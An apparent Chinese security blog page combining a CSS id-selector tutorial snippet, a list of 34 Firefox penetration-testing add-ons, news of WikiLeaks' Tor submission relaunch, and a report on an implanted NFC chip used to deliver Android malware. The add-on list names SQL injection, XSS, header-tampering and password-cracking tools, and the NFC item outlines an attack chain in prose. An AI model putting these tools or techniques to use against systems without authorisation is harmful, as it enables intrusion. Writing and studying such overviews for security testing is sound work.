除了可以对元素进行分类以外,你还可以标识单个元素。这是通过HTML属性id实现的。HTML属性id的特别之处在于,在同一HTML文档中不能有两个具有相同id值的元素。文档中的每个id值都必须是唯一的。在其他情况下,你应该使用class属性。下面,我们来看一个使用id属性的例子:
<h1 id="c1">第1章</h1>
...
<h2 id="c1-1">第1.1节</h2>
...
<h2 id="c1-2">第1.2节</h2>
假如我们要求第1.2节显示为红色,那么CSS可以这样写:
#c1-2 {
color: red;
}
如上例所示,你可以在样式表里通过#id为特定元素定义CSS属性。
34款Firefox渗透测试插件 安全工具
工欲善必先利其器,firefox一直是各位渗透师必备的利器,Mrxn这里推荐34款firefox渗透测试辅助插件,其中包含渗透测试、信息收集、代理、加密解密等功能。(下面的链接用火狐浏览器直接打开就可以安装了)
1:Firebug
Firefox的 五星级强力推荐插件之一,不许要多解释
2:User Agent Switcher
改变客户端的User Agent的一款插件
3:Hackbar
攻城师必备工具,提供了SQL注入和XSS攻击,能够快速对字符串进行各种编码。
4:HttpFox
监测和分析浏览器与web服务器之间的HTTP流量
5:Live HTTP Headers
即时查看一个网站的HTTP头
6:Tamper Data
查看和修改HTTP/HTTPS头和POST参数
7:ShowIP
在状态栏显示当前页的IP地址、主机名、ISP、国家和城市等信息。
8:OSVDB
开放源码的漏洞数据库检索
9:Packet Storm search plugin
Packet Storm提供的插件,可以搜索漏洞、工具和exploits等。
10:Offsec Exploit-db Search
搜索Exploit-db信息
11:Security Focus Vulnerabilities Search Plugin
在Security Focus上搜索漏洞
12:Cookie Watcher
在状态栏显示cookie
13:Header Spy
在状态栏显示HTTP头
14:Groundspeed
Manipulate the application user interface.
15:CipherFox
在状态栏显示当前SSL/TLS的加密算法和证书
16:XSS Me
XSS测试扩展
17:SQL Inject Me
SQL注入测试扩展
18:Wappalyzer
查看网站使用的应用程序
19:Poster
发送与Web服务器交互的HTTP请求,并查看输出结果
20:Javascript Deobfuscator
显示网页上运行的Javascript代码
21:Modify Headers
修改HTTP请求头
22:FoxyProxy
代理工具
23:FlagFox
可以在地址栏或状态栏上显示出当前网站所在国家的国旗,也有更多的其他功能,如:双击国旗可以实现WOT功能;鼠标中键点击是whois功能。当然用户可以在选项里设置快捷键实现诸如复制IP,维基百科查询等功能。
24:Greasemonkey
greasemonkey 使你可以向任何网页添加DHTML语句(用户脚本)来改变它们的显示方式。就像CSS可以让你接管网页的样式,而用户脚本(User Script)则可以让你轻易地控制网页设计与交互的任何方面。例如:
使页面上显示的 URL 都成为可以直接点击进入的链接。 增强网页实用性,使你经常访问的网站更符合你的习惯。* 绕过网站上经常出现的那些烦人的 Bug。
25:Domain Details
显示服务器类型、IP地址、域名注册信息等
26:Websecurify
Websecurify是WEB安全检测软件的Firefox的扩展,可以针对Web应用进行安全评估
27:XSSed Search
搜索XSSed.Com跨站脚本数据库
28:ViewStatePeeker
查看asp.net的iewState
29:CryptoFox
破解MD5、加密/解密工具
30:WorldIP
显示服务器的IP、地址、PING、Traceroute、RDNS等信息
31:Server Spy
识别访问的web服务器类型,版本以及IP地址的插件
32:Default Passwords
搜索CIRT.net默认密码数据库。
33:Snort IDS Rule Search
搜索Snort的IDS规则,做签名开发的应该很有用。
34:FireCAT
FireCAT (Firefox Catalog of Auditing exTensions)是一个收集最有效最有用的应用程序安全审计和风险评估工具的列表(这些工具以Firefox插件形式发布的),FireCAT中没有收集的安全工具类型包括:fuzzer,代理和应用程序扫描器.
欢迎各位小菜和大牛提出更好的建议,有好的工具别藏着呀!拿出来!
时隔六年,维基机密的匿名泄露提交系统再次上线 业界新闻
现在,我们又可以时不时地期待得到机密新闻以及政府/企业机密文档资料了,因为反机密组织维基解密(WikiLeaks)重新发布了匿名提交敏感信息的功能。维基解密再次向公众开放了系统。
维基解密之前因匿名提交敏感信息而一直占据头条新闻位置。四年半之后,该网站因将敏感机密信息公诸于众而被迫关闭。上周五,维基解密表示目前已公布新系统的beta版。新系统将允许各种来源上传通常被政府机构及企业隐藏的文档、视频及邮件。该系统将在Tor上运行。Tor是一款自由软件,通过一个单独的网络路由网络流量以隐藏用户的地址及身份。同时维基解密称Tor不能追踪泄密者的身份。
Mrxn科普:Tor
Tor(The Onion Router,洋葱路由器)是实现匿名通信的自由软件。Tor是第二代洋葱路由的一种实现,用户通过Tor可以在因特网上进行匿名交流。最初该项目由美国海军研究实验室赞助。2004年后期,Tor成为电子前哨基金会(EFF)的一个项目。2005年后期,EFF不再赞助Tor项目,但他们继续维持Tor的官方网站。
维基解密的使命:公布泄露的信息
自2006年创立以来,维基解密的使命便是公布匿名泄露的信息。维基解密因美国雇佣兵切尔西(原为:布拉德)•曼宁泄露美军在阿富汗及伊拉克的机密文档与视频而声名鹊起。后来曼宁被以违反美国《反间谍法》的罪名入狱。
维基解密的一些员工对维基解密的走向不满并在2010年年末控制该系统。维基解密随后承诺以新版本问世,然而,这个承诺耗费多年才得以践行。造成延迟的部分原因是该组织机构所面临的经济困境;另一方面的原因是领导人朱利安·阿桑奇遭遇的法律及政治困境。
虽然关闭了文档及视频提交系统,但维基解密还在持续公开文档,不过随着爆料者直接转移至新闻媒体,维基解密的影响力也有所褪色。例如,NSA监控技巧的相关机密文档信息是由NSA前合同工爱德华·斯诺登泄露的。
维基解密希望通过重新发布这个系统东山再起,接触到更多的潜在泄密者。可点击此处向维基解密提交文档。
友情提示:记得按维基解密提交页面所示步骤操作,在提交任何文档时保持匿名状态并使用TOR。
* 参考来源hackread ,翻译来自网络。
黑客在身体中植入NFC芯片,绕过军事安检实施入侵 业界新闻
安全研究人员通过在身体中植入一枚NFC芯片,绕过严密的军事和航空安检,最终入侵移动设备。这个新闻并非天方夜谭。
攻击过程
APA无线部门的安全工程师Wahle首先购买了一个可注入牲畜体内的特殊芯片,并花费40美元就能购买到一个注射器,接着利用该注射器将芯片植入胳膊或手臂。接下来,Wahle使用身体内的NFC芯片Ping附近的安卓移动设备,并试图与这些设备建立连接。
一旦建立了连接,攻击者可以向安卓设备发送恶意软件。如果受害设备安装并运行了该软件,那么攻击者就可以入侵该安卓设备。受感染的手机会尝试连接由Wahle控制的远程服务器,利用该服务器则可以提供针对该手机的更多攻击载荷和利用代码(例如Metasploit)。
绕过军事安检
你也许会认为上面的攻击方式其实并不特别,传统的攻击方式在面对严密的安检时将变得非常“脆弱”——在这些环境中即使是物联网设备(如可穿戴设备) 也是不允许的。而攻击者利用植入的NFC芯片可以很容易地绕过军事安检。虽然Wahle在美国部队服役,但是目前没有一个军事扫描仪能够探测到他在体内植 入了NFC芯片。
Wahle和安全顾问Rod Soto将在下一届BlackHat黑客大会上分享有关生物黑客攻击的更多详情,该大会将于5月份在迈阿密举办。